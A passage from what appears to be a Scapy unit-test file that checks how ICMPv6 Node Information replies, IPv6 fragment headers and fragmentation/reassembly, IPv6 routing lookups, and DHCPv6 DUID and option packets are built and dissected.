'169.254.253.252')] = ICMPv6NIReplyIPv4 - one IPv4 address without TTL (as a list) (internal) a=ICMPv6NIReplyIPv4(data=["169.254.253.252"]).getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 4 and type(a[1]) is list and len(a[1]) == 1 and type(a[1][0]) is tuple and len(a[1][0]) == 2 and a[1][0][0] == 0 and a[1][0][1] == "169.254.253.252" = ICMPv6NIReplyIPv4 - one IPv4 address without TTL (as a list) ICMPv6NIReplyIPv4(data=["169.254.253.252"]).data == [(0, '169.254.253.252')] = ICMPv6NIReplyIPv4 - one IPv4 address with TTL (internal) a=ICMPv6NIReplyIPv4(data=[(0, "169.254.253.252")]).getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 4 and type(a[1]) is list and len(a[1]) == 1 and type(a[1][0]) is tuple and len(a[1][0]) == 2 and a[1][0][0] == 0 and a[1][0][1] == "169.254.253.252" = ICMPv6NIReplyIPv4 - one IPv4 address with TTL (internal) ICMPv6NIReplyIPv4(data=[(0, "169.254.253.252")]).data == [(0, '169.254.253.252')] = ICMPv6NIReplyIPv4 - two IPv4 addresses as a list of strings (without TTL) a=ICMPv6NIReplyIPv4(data=["169.254.253.252", "169.254.253.253"]).getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 4 and type(a[1]) is list and len(a[1]) == 2 and type(a[1][0]) is tuple and len(a[1][0]) == 2 and a[1][0][0] == 0 and a[1][0][1] == "169.254.253.252" and len(a[1][1]) == 2 and a[1][1][0] == 0 and a[1][1][1] == "169.254.253.253" = ICMPv6NIReplyIPv4 - two IPv4 addresses as a list of strings (without TTL) (internal) ICMPv6NIReplyIPv4(data=["169.254.253.252", "169.254.253.253"]).data == [(0, '169.254.253.252'), (0, '169.254.253.253')] = ICMPv6NIReplyIPv4 - two IPv4 addresses as a list (first with ttl, second without) a=ICMPv6NIReplyIPv4(data=[(42, "169.254.253.252"), "169.254.253.253"]).getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 4 and type(a[1]) is list and len(a[1]) == 2 and type(a[1][0]) is tuple and len(a[1][0]) == 2 and a[1][0][0] == 42 and a[1][0][1] == "169.254.253.252" and len(a[1][1]) == 2 and a[1][1][0] == 0 and a[1][1][1] == "169.254.253.253" = ICMPv6NIReplyIPv4 - two IPv4 addresses as a list (first with ttl, second without) (internal) ICMPv6NIReplyIPv4(data=[(42, "169.254.253.252"), "169.254.253.253"]).data == [(42, "169.254.253.252"), (0, "169.254.253.253")] ##################################################################### + Test Node Information Query - ICMPv6NIReplyRefuse = ICMPv6NIReplyRefuse - basic instantiation bytes(ICMPv6NIReplyRefuse())[:8] == b'\x8c\x01\x00\x00\x00\x00\x00\x00' = ICMPv6NIReplyRefuse - basic dissection a=ICMPv6NIReplyRefuse(b'\x8c\x01\x00\x00\x00\x00\x00\x00\xf1\xe9\xab\xc9\x8c\x0by\x18') a.type == 140 and a.code == 1 and a.cksum == 0 and a.unused == 0 and a.flags == 0 and a.nonce == b'\xf1\xe9\xab\xc9\x8c\x0by\x18' and a.data == None ##################################################################### + Test Node Information Query - ICMPv6NIReplyUnknown = ICMPv6NIReplyUnknown - basic instantiation bytes(ICMPv6NIReplyUnknown(nonce=b'\x00'*8)) == b'\x8c\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = ICMPv6NIReplyRefuse - basic dissection a=ICMPv6NIReplyRefuse(b'\x8c\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.type == 140 and a.code == 2 and a.cksum == 0 and a.unused == 0 and a.flags == 0 and a.nonce == b'\x00'*8 and a.data == None ########### IPv6ExtHdrFragment Class ########################## + IPv6ExtHdrFragment Class Test = IPv6ExtHdrFragment - Basic Instantiation bytes(IPv6ExtHdrFragment()) == b';\x00\x00\x00\x00\x00\x00\x00' = IPv6ExtHdrFragment - Instantiation with specific values bytes(IPv6ExtHdrFragment(nh=0xff, res1=0xee, offset=0x1fff, res2=1, m=1, id=0x11111111)) == b'\xff\xee\xff\xfb\x11\x11\x11\x11' = IPv6ExtHdrFragment - Basic Dissection a=IPv6ExtHdrFragment(b';\x00\x00\x00\x00\x00\x00\x00') a.nh == 59 and a.res1 == 0 and a.offset == 0 and a.res2 == 0 and a.m == 0 and a.id == 0 = IPv6ExtHdrFragment - Instantiation with specific values a=IPv6ExtHdrFragment(b'\xff\xee\xff\xfb\x11\x11\x11\x11') a.nh == 0xff and a.res1 == 0xee and a.offset==0x1fff and a.res2==1 and a.m == 1 and a.id == 0x11111111 ########### fragment6() function #################################### + Test fragment6 function = fragment6 - test against a long TCP packet with a 1280 MTU l=fragment6(IPv6()/IPv6ExtHdrFragment()/TCP()/Raw(load="A"*40000), 1280) len(l) == 33 and len(bytes(l[-1])) == 644 ########### defragment6() function #################################### + Test defragment6 function = defragment6 - test against a long TCP packet fragmented with a 1280 MTU l=fragment6(IPv6()/IPv6ExtHdrFragment()/TCP()/Raw(load="A"*40000), 1280) bytes(defragment6(l)) == (b'`\x00\x00\x00\x9cT\x06@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xe92\x00\x00' + b'A'*40000) = defragment6 - test against a large TCP packet fragmented with a 1280 bytes MTU and missing fragments l=fragment6(IPv6()/IPv6ExtHdrFragment()/TCP()/Raw(load="A"*40000), 1280) del(l[2]) del(l[4]) del(l[12]) del(l[18]) bytes(defragment6(l)) == (b'`\x00\x00\x00\x9cT\x06@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xe92\x00\x00' + 2444*b'A' + 1232*b'X' + 2464*b'A' + 1232*b'X' + 9856*b'A' + 1232*b'X' + 7392*b'A' + 1232*b'X' + 12916*b'A') = defragment6 - test against a TCP packet fragmented with a 800 bytes MTU and missing fragments l=fragment6(IPv6()/IPv6ExtHdrFragment()/TCP()/Raw(load="A"*4000), 800) del(l[4]) del(l[2]) bytes(defragment6(l)) == b'`\x00\x00\x00\x0f\xb4\x06@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xb2\x0f\x00\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' ########### Route6 Class ############################################ + Test Route6 class = Route6 - Route6 flushing conf.route6.routes=[ ( '::1', 128, '::', 'lo', ['::1']), ( 'fe80::20f:1fff:feca:4650', 128, '::', 'lo', ['::1'])] conf.route6.flush() not conf.route6.routes = Route6 - Route6.route conf.route6.flush() conf.route6.routes=[ ( '::1', 128, '::', 'lo', ['::1']), ( 'fe80::20f:1fff:feca:4650', 128, '::', 'lo', ['::1']), ( 'fe80::', 64, '::', 'eth0', ['fe80::20f:1fff:feca:4650']), ('2001:db8:0:4444:20f:1fff:feca:4650', 128, '::', 'lo', ['::1']), ( '2001:db8:0:4444::', 64, '::', 'eth0', ['2001:db8:0:4444:20f:1fff:feca:4650']), ( '::', 0, 'fe80::20f:34ff:fe8a:8aa1', 'eth0', ['2001:db8:0:4444:20f:1fff:feca:4650', '2002:db8:0:4444:20f:1fff:feca:4650']) ] conf.route6.route("2002::1") == ('eth0', '2002:db8:0:4444:20f:1fff:feca:4650', 'fe80::20f:34ff:fe8a:8aa1') and conf.route6.route("2001::1") == ('eth0', '2001:db8:0:4444:20f:1fff:feca:4650', 'fe80::20f:34ff:fe8a:8aa1') and conf.route6.route("fe80::20f:1fff:feab:4870") == ('eth0', 'fe80::20f:1fff:feca:4650', '::') and conf.route6.route("::1") == ('lo', '::1', '::') and conf.route6.route("::") == ('eth0', '2001:db8:0:4444:20f:1fff:feca:4650', 'fe80::20f:34ff:fe8a:8aa1') # There are many other to do. # Below is our Homework : here is the mountain ... ########### Net6 Class ############################################## ########### ICMPv6MLQuery Class ##################################### ########### ICMPv6MLReport Class #################################### ########### ICMPv6MLDone Class ###################################### ########### ICMPv6ND_Redirect Class ################################# ########### ICMPv6NDOptSrcAddrList Class ############################ ########### ICMPv6NDOptTgtAddrList Class ############################ ########### ICMPv6ND_INDSol Class ################################### ########### ICMPv6ND_INDAdv Class ################################### ########### ICMPerror6 Class ######################################## ########### TracerouteResult6 Class ################################# ##################################################################### ##################################################################### ########################## DHCPv6 ########################## ##################################################################### ##################################################################### ##################################################################### + Test DHCP6 DUID_LLT = DUID_LLT basic instantiation a=DUID_LLT() = DUID_LLT basic build bytes(DUID_LLT()) == b'\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = DUID_LLT build with specific values bytes(DUID_LLT(lladdr="ff:ff:ff:ff:ff:ff", timeval=0x11111111, hwtype=0x2222)) == b'\x00\x01""\x11\x11\x11\x11\xff\xff\xff\xff\xff\xff' = DUID_LLT basic dissection a=DUID_LLT(bytes(DUID_LLT())) a.type == 1 and a.hwtype == 1 and a.timeval == 0 and a.lladdr == "00:00:00:00:00:00" = DUID_LLT dissection with specific values a=DUID_LLT(b'\x00\x01""\x11\x11\x11\x11\xff\xff\xff\xff\xff\xff') a.type == 1 and a.hwtype == 0x2222 and a.timeval == 0x11111111 and a.lladdr == "ff:ff:ff:ff:ff:ff" ##################################################################### + Test DHCP6 DUID_EN = DUID_EN basic instantiation a=DUID_EN() = DUID_EN basic build bytes(DUID_EN()) == b'\x00\x02\x00\x00\x017' = DUID_EN build with specific values bytes(DUID_EN(enterprisenum=0x11111111, id="iamabytesing")) == b'\x00\x02\x11\x11\x11\x11iamabytesing' = DUID_EN basic dissection a=DUID_EN(b'\x00\x02\x00\x00\x017') a.type == 2 and a.enterprisenum == 311 = DUID_EN dissection with specific values a=DUID_EN(b'\x00\x02\x11\x11\x11\x11iamabytesing') a.type == 2 and a.enterprisenum == 0x11111111 and a.id ==b"iamabytesing" ##################################################################### + Test DHCP6 DUID_LL = DUID_LL basic instantiation a=DUID_LL() = DUID_LL basic build bytes(DUID_LL()) == b'\x00\x03\x00\x01\x00\x00\x00\x00\x00\x00' = DUID_LL build with specific values bytes(DUID_LL(hwtype=1, lladdr="ff:ff:ff:ff:ff:ff")) == b'\x00\x03\x00\x01\xff\xff\xff\xff\xff\xff' = DUID_LL basic dissection a=DUID_LL(bytes(DUID_LL())) a.type == 3 and a.hwtype == 1 and a.lladdr == "00:00:00:00:00:00" = DUID_LL with specific values a=DUID_LL(b'\x00\x03\x00\x01\xff\xff\xff\xff\xff\xff') a.hwtype == 1 and a.lladdr == "ff:ff:ff:ff:ff:ff" ##################################################################### + Test DHCP6 Opt Unknown = DHCP6 Opt Unknown basic instantiation a=DHCP6OptUnknown() = DHCP6 Opt Unknown basic build (default values) bytes(DHCP6OptUnknown()) == b'\x00\x00\x00\x00' = DHCP6 Opt Unknown - len computation test bytes(DHCP6OptUnknown(data="shouldbe9")) == b'\x00\x00\x00\tshouldbe9' ##################################################################### + Test DHCP6 Client Identifier option = DHCP6OptClientId basic instantiation a=DHCP6OptClientId() = DHCP6OptClientId basic build bytes(DHCP6OptClientId()) == b'\x00\x01\x00\x00' = DHCP6OptClientId instantiation with specific values bytes(DHCP6OptClientId(duid="toto")) == b'\x00\x01\x00\x04toto' = DHCP6OptClientId instantiation with DUID_LL bytes(DHCP6OptClientId(duid=DUID_LL())) == b'\x00\x01\x00\n\x00\x03\x00\x01\x00\x00\x00\x00\x00\x00' = DHCP6OptClientId instantiation with DUID_LLT bytes(DHCP6OptClientId(duid=DUID_LLT())) == b'\x00\x01\x00\x0e\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = DHCP6OptClientId instantiation with DUID_EN bytes(DHCP6OptClientId(duid=DUID_EN())) == b'\x00\x01\x00\x06\x00\x02\x00\x00\x017' = DHCP6OptClientId instantiation with specified length bytes(DHCP6OptClientId(optlen=80, duid="somebytesing")) == b'\x00\x01\x00Psomebytesing' = DHCP6OptClientId basic dissection a=DHCP6OptClientId(b'\x00\x01\x00\x00') a.optcode == 1 and a.optlen == 0 = DHCP6OptClientId instantiation with specified length bytes(DHCP6OptClientId(optlen=80, duid="somebytesing")) == b'\x00\x01\x00Psomebytesing' = DHCP6OptClientId basic dissection a=DHCP6OptClientId(b'\x00\x01\x00\x00') a.optcode == 1 and a.optlen == 0 = DHCP6OptClientId dissection with specific duid value a=DHCP6OptClientId(b'\x00\x01\x00\x04somebytesing') a.optcode == 1 and a.optlen == 4 and isinstance(a.duid, Raw) and a.duid.load == b'some' and isinstance(a.payload, DHCP6OptUnknown) = DHCP6OptClientId dissection with specific DUID_LL as duid value a=DHCP6OptClientId(b'\x00\x01\x00\n\x00\x03\x00\x01\x00\x00\x00\x00\x00\x00') a.optcode == 1 and a.optlen == 10 and isinstance(a.duid, DUID_LL) and a.duid.type == 3 and a.duid.hwtype == 1 and a.duid.lladdr == "00:00:00:00:00:00" = DHCP6OptClientId dissection with specific DUID_LLT as duid value a=DHCP6OptClientId(b'\x00\x01\x00\x0e\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.optcode == 1 and a.optlen == 14 and isinstance(a.duid, DUID_LLT) and a.duid.type == 1 and a.duid.hwtype == 1 and a.duid.timeval == 0 and a.duid.lladdr == "00:00:00:00:00:00" = DHCP6OptClientId dissection with specific DUID_EN as duid value a=DHCP6OptClientId(b'\x00\x01\x00\x06\x00\x02\x00\x00\x017') a.optcode == 1 and a.optlen == 6 and isinstance(a.duid, DUID_EN) and a.duid.type == 2 and a.duid.enterprisenum == 311 and a.duid.id == b"" ##################################################################### + Test DHCP6 Server Identifier option = DHCP6OptServerId basic instantiation a=DHCP6OptServerId() = DHCP6OptServerId basic build bytes(DHCP6OptServerId()) == b'\x00\x02\x00\x00' = DHCP6OptServerId basic build with specific values bytes(DHCP6OptServerId(duid="toto")) == b'\x00\x02\x00\x04toto' = DHCP6OptServerId instantiation with DUID_LL bytes(DHCP6OptServerId(duid=DUID_LL())) == b'\x00\x02\x00\n\x00\x03\x00\x01\x00\x00\x00\x00\x00\x00' = DHCP6OptServerId instantiation with DUID_LLT bytes(DHCP6OptServerId(duid=DUID_LLT())) == b'\x00\x02\x00\x0e\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = DHCP6OptServerId instantiation with DUID_EN bytes(DHCP6OptServerId(duid=DUID_EN())) == b'\x00\x02\x00\x06\x00\x02\x00\x00\x017' = DHCP6OptServerId instantiation with specified length bytes(DHCP6OptServerId(optlen=80, duid="somebytesing")) == b'\x00\x02\x00Psomebytesing' = DHCP6OptServerId basic dissection a=DHCP6OptServerId(b'\x00\x02\x00\x00') a.optcode == 2 and a.optlen == 0 = DHCP6OptServerId dissection with specific duid value a=DHCP6OptServerId(b'\x00\x02\x00\x04somebytesing') a.optcode == 2 and a.optlen == 4 and isinstance(a.duid, Raw) and a.duid.load == b'some' and isinstance(a.payload, DHCP6OptUnknown) = DHCP6OptServerId dissection with specific DUID_LL as duid value a=DHCP6OptServerId(b'\x00\x02\x00\n\x00\x03\x00\x01\x00\x00\x00\x00\x00\x00') a.optcode == 2 and a.optlen == 10 and isinstance(a.duid, DUID_LL) and a.duid.type == 3 and a.duid.hwtype == 1 and a.duid.lladdr == "00:00:00:00:00:00" = DHCP6OptServerId dissection with specific DUID_LLT as duid value a=DHCP6OptServerId(b'\x00\x02\x00\x0e\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.optcode == 2 and a.optlen == 14 and isinstance(a.duid, DUID_LLT) and a.duid.type == 1 and a.duid.hwtype == 1 and a.duid.timeval == 0 and a.duid.lladdr == "00:00:00:00:00:00" = DHCP6OptServerId dissection with specific DUID_EN as duid value a=DHCP6OptServerId(b'\x00\x02\x00\x06\x00\x02\x00\x00\x017') a.optcode == 2 and a.optlen == 6 and isinstance(a.duid, DUID_EN) and a.duid.type == 2 and a.duid.enterprisenum == 311 and a.duid.id == b"" ##################################################################### + Test DHCP6 IA Address Option (IA_TA or IA_NA suboption) = DHCP6OptIAAddress - Basic Instantiation bytes(DHCP6OptIAAddress()) == b'\x00\x05\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = DHCP6OptIAAddress - Basic Dissection a = DHCP6OptIAAddress(b'\x00\x05\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.optcode == 5 and a.optlen == 24 and a.addr == "::" and a.preflft == 0 and a. validlft == 0 and a.iaid == 0 and a.iaaddropts == b"" = DHCP6OptIAAddress - Instantiation with specific values bytes(DHCP6OptIAAddress(optlen=0x1111, addr="2222:3333::5555", preflft=0x66666666, validlft=0x77777777, iaid=0x88888888, iaaddropts="somestring")) == b'\x00\x05\x11\x11""33\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00UUffffwwww\x88\x88\x88\x88somestring' = DHCP6OptIAAddress - Instantiation with specific values (default optlen computation) bytes(DHCP6OptIAAddress(addr="2222:3333::5555", preflft=0x66666666, validlft=0x77777777, iaid=0x88888888, iaaddropts="somestring")) == b'\x00\x05\x00"""33\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00UUffffwwww\x88\x88\x88\x88somestring' = DHCP6OptIAAddress - Dissection with specific values a = DHCP6OptIAAddress(b'\x00\x05\x00"""33\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00UUffffwwww\x88\x88\x88\x88somestring') a.optcode == 5 and a.optlen == 34 and a.addr == "2222:3333::5555" and a.preflft == 0x66666666 and a. validlft == 0x77777777 and a.iaid == 0x88888888 and a.iaaddropts == b"somestring" ##################################################################### + Test DHCP6 Identity Association for Non-temporary Addresses Option = DHCP6OptIA_NA - Basic Instantiation bytes(DHCP6OptIA_NA()) == b'\x00\x03\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = DHCP6OptIA_NA - Basic Dissection a = DHCP6OptIA_NA(b'\x00\x03\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.optcode == 3 and a.optlen == 12 and a.iaid == 0 and a.T1 == 0 and a.T2==0 and a.ianaopts == [] = DHCP6OptIA_NA - Instantiation with specific values (keep automatic length computation) bytes(DHCP6OptIA_NA(iaid=0x22222222, T1=0x33333333, T2=0x44444444)) == b'\x00\x03\x00\x0c""""3333DDDD' = DHCP6OptIA_NA - Instantiation with specific values (forced optlen) bytes(DHCP6OptIA_NA(optlen=0x1111, iaid=0x22222222, T1=0x33333333, T2=0x44444444)) == b'\x00\x03\x11\x11""""3333DDDD' = DHCP6OptIA_NA - Instantiation with a list of IA Addresses (optlen automatic computation) bytes(DHCP6OptIA_NA(iaid=0x22222222, T1=0x33333333, T2=0x44444444, ianaopts=[DHCP6OptIAAddress(), DHCP6OptIAAddress()])) == b'\x00\x03\x00L""""3333DDDD\x00\x05\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = DHCP6OptIA_NA - Dissection with specific values a = DHCP6OptIA_NA(b'\x00\x03\x00L""""3333DDDD\x00\x05\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.optcode == 3 and a.optlen == 76 and a.iaid == 0x22222222 and a.T1 == 0x33333333 and a.T2==0x44444444 and len(a.ianaopts) == 2 and isinstance(a.ianaopts[0], DHCP6OptIAAddress) and isinstance(a.ianaopts[1], DHCP6OptIAAddress) ##################################################################### + Test DHCP6 Identity Association for Temporary Addresses Option = DHCP6OptIA_TA - Basic Instantiation bytes(DHCP6OptIA_TA()) == b'\x00\x04\x00\x04\x00\x00\x00\x00' = DHCP6OptIA_TA - Basic Dissection a = DHCP6OptIA_TA(b'\x00\x04\x00\x04\x00\x00\x00\x00') a.optcode == 4 and a.optlen == 4 and a.iaid == 0 and a.iataopts == [] = DHCP6OptIA_TA - Instantiation with specific values bytes(DHCP6OptIA_TA(optlen=0x1111, iaid=0x22222222, iataopts=[DHCP6OptIAAddress(), DHCP6OptIAAddress()])) == b'\x00\x04\x11\x11""""\x00\x05\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = DHCP6OptIA_TA - Dissection with specific values a = 